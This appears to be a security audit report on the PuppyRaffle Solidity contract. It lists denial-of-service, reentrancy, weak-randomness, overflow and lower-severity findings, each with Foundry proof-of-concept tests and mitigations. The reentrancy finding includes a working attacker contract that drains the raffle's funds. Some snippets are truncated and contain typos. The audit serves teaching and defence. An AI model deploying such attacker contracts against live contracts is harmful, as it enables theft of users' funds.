Denial of service attack

[H-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack ,incrementing gass cost for future entrants

Description The PuppyRaffle::enterRaflle function loops through the players array to check for duplicates , however the longer the PuppyRaffle:players arrays is, the more checks a new player will have to make. This menas the gas cost for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the players array, is an additoional check the loop will have to make.

```
 // Check for duplicates
         for (uint256 i = 0; i < players.length - 1; i++) {
             for (uint256 j = i + 1; j < players.length; j++) {
                 require(players[i] != players[j], "PuppyRaffle: Duplicate player
             }
         }
```

Impact The gas cost for raffle contracts will greatly increase as more players enter the raffle. Discouragin later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the PuppyRaffle::entrants array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept If we have 2 sets of 100 players enter, the gas cost will be as such: - 1st 100 players: 6252128 - 2nd 100 players: 18068218

POC

Place the following test into PuppyRaffle.t.sol.

```
function test_denialOfService() public {
         // create 100 players in an arrray
         vm.txGasPrice(1);
         uint256 playersNum = 100;
         address[] memory players = new address[](playersNum);
         for(uint i= 0; i < playersNum; i++){
             players[i] = address(i);
         }

         // see how much gas it costs

         uint256 gasStart = gasleft();
         puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
         uint256 gasEnd = gasleft();
```

```
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players: ", gasUsedFirst);


        address[] memory players2 = new address[](playersNum);
        for(uint i= 0; i < playersNum; i++){
            players2[i] = address(i +  playersNum);
        }

        // see how much gas it costs

        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players2.length}(players2);
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.gasprice;
        console.log("Gas used for the second 100 players:", gasUsedSecond);

        assert(gasUsedSecond >gasUsedFirst);
    }
```

Recommended Mitigation There are a few recommendations

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering mulptiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. this would allow constant time lookup of whether a user has already entered.

[H-2] Reentrancy attack in `PuppyRaffle:refund` allows entrant to drain raffle balance

Description: The PuppyRaffle::refund function does not follow CEI (checks, Effects, Interactions) and as a result allows participants to drain the contract balance.

In the PuppyRaffle::refund function, we first make an external call to the msg.sender address and only after making that external call do we update the PuppyRaffle::players array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can r
        require(playerAddress != address(0), "PuppyRaffle: Player already refund

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);
```

```
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a fallback / receive function that calls the PuppyRaffle::refund function again and claim another refund. they may continue the cycle till the balance is drained.

Impact All the fees paid by the raffle entrants couble be stolen by the malicious participant.

Proof of Concept

1. User enters the raffle
2. Attacker sets up a contract with a fallback function that calls PuppyRaffle::refund
3. Attacker enters the raffle
4. Attacker calls PuppyRaffle:refund from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into PuppyRaffle.test.t.sol

```
    function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;


        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
        // uint256 puppyRaffleBalanceBeforeRefund = address(puppyRaffle).balance

       vm.deal(address(attacker), entranceFee);
        uint256 startingAttackerBalance = address(attacker).balance;
        attacker.attack();

        uint256 attackerBalanceAfterRefund = address(attacker).balance;
        uint256 puppyRaffleBalanceAfterRefund = address(puppyRaffle).balance;

        assertEq(puppyRaffleBalanceAfterRefund, 0);
        assertGt(attackerBalanceAfterRefund, startingAttackerBalance);
    }
```

And this contract as well

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle){
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }


    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    receive() external payable {
        if(address(puppyRaffle).balance > 1){
            puppyRaffle.refund(attackerIndex);
        }
    }
}
```

Recommended Mitigation: To prevent this, we should have the PuppyRaffle:refund funtion update the players array before making the external call. Additionally, we should move the event emission as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can r
        require(playerAddress != address(0), "PuppyRaffle: Player already refund

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-3] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing msg.sender , block.timestamp and block. diffculty together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know ahead of time to choose the winner of the raffle themselves.

Note: This means users could front-run this function and call refund if they see they are not the winner.

Impact: Any user can influence the raffle, winning the money and selecting the rarest puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof Of Concept:

1. Validators can know ahead of time the block.timestamp and block. difficulty and use that to predict when/how to participate . See the (solidity blog on prerandao). block. difficulty was recently replaced with block.prevrandao.
2. User can mine/manipulate their msg.sender value to result in their address being used to generate the winner.
3. Users can revert their selectWinner transactino if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a [well-documented attack vector] in the blockchain space

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-4] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to 0.8.0 integers were subject ot integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

Impact: In PuppyRaffle::selectWinner, totalFees are accumulated for the feeAddress to collect later in PuppyRaffle::withdrawFees. However, if the totalFees variable overflows, the feeAddress may not collect amount of fees, leaving fees permanently stuck in the contract.

Proof Of Concept

1. we conclude a raffle of 4 players

2. we then have 89 players enter a new raffle, and conclude the raffle
3. totalFees will be:

```
totalFees = totalFees + uint256(fee);
totalFees = 800000000000000000 + 17800000000000000000
```

4. you will not be able to withdraw, due to the line in PuppyRaffle::withdrawFees:

   ```
   require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
   ```

Although you could use selfdestruct to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point there will be too much balance in the contract that the above require will be impossible to hit.

<>

Recommended Mitigation: There are a few possible mitigations.

1. use a newer version of solidity, and a uint256 instead of a uint64 for PuppyRaffle::totalFees
2. You could also use the SafeMath library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the uint64 type if too many fees are collected.
3. Remove the balance check from PuppyRaffle::withdrawFees

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are c
```

There are more attack vectors with that final require, so we recommend removing it regardless

Medium

[M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will be block the start of a new contest

Description:* The PuppyRaffle::selectWinner function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the selectWinner function again and non-wallet entrants could enter, but could cost a lot due to the duplicate check and a lottery reset could get very challenging

Impact: The PuppyRaffle::selectWinner function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof Of Concept

1. 10 smart contract wallets enter the lottery without a fallaback or receive function.
2. The lottery ends
3. The selectWinner function wouldn't work, even though the lottery is over!

Recommended Mitigations: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of address -> payout so winners can pull their funds out themseleves, putting the owness on the winner to claim their prize (Recommended)

   Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at the first index (0) to be inactive

Description: If a player is in the PuppyRaffle::players array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
function getActivePlayerIndex(address player) external view returns (uint256
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    return 0;
}
```

Impact: A player at index 0 will always be inactive even if he has entered the raffle and is active

Proof of Code

1. User enters the raffle, they are the first entrant
2. PuppyRaffle::getActivePlayerIndex returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an int256 where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - PuppyRaffle::raffleDuration should be immutable - PuppyRaffle::commonImageUri should be constant - PuppyRaffle::rareImageUri should be constant - PuppyRaffle::legendaryImageUri should be constant

[G-2] Storage variables in a loop should be cached

Everytime you call players.length you read from storage, as opposed to memory which is more gas efficient.

```
+    uint256 playerLength = players.length;
-    for (uint256 i = 0; i < players.length; i++){
+    for (uint256 i = 0; i < playerLenght; i++){
-        for (uint256 j = i + 1; j < players.length; j++){
+        for (uint256 j = i + 1; j < playerLength; j++){
             require(players[i] != players[j], "PuppyRaffle: Duplicate player");
         }
         }
     }
     }
```

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of pragma solidity ^0.8.0;, use pragma solidity 0.8.0;

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2] using an outdated version of solidity is not recommended.

solc frequently releases new compiler version. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statements.

Recommendation Deploy with any of the following solidity versions:

0.8.18 The recommendations take into account:

Risks related to recent releases Risks of complex code generation changes Risks of new languages features Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version od Solidity for testing.

Please see slither for documentation

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for address(0).

- Found in src/PuppyRaffle.sol. . . ..

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effect, Interactions).

```
-    (bool success,) = winner.call{value: prizePool("");
-    require(success, "PuppyRaffle: Failed to send prize pool to winner");
     _safeMint(winner, tokenId);
+    (bool success,) = winner.call{value: prizePool}("");
+    (require success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] use of magic numbers is discouraging and can be confusing to see a number literals in a codebase, and it's much more readable if the numbers are given a name

Examples: You can something like this instead

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` is never used and therefore should be removed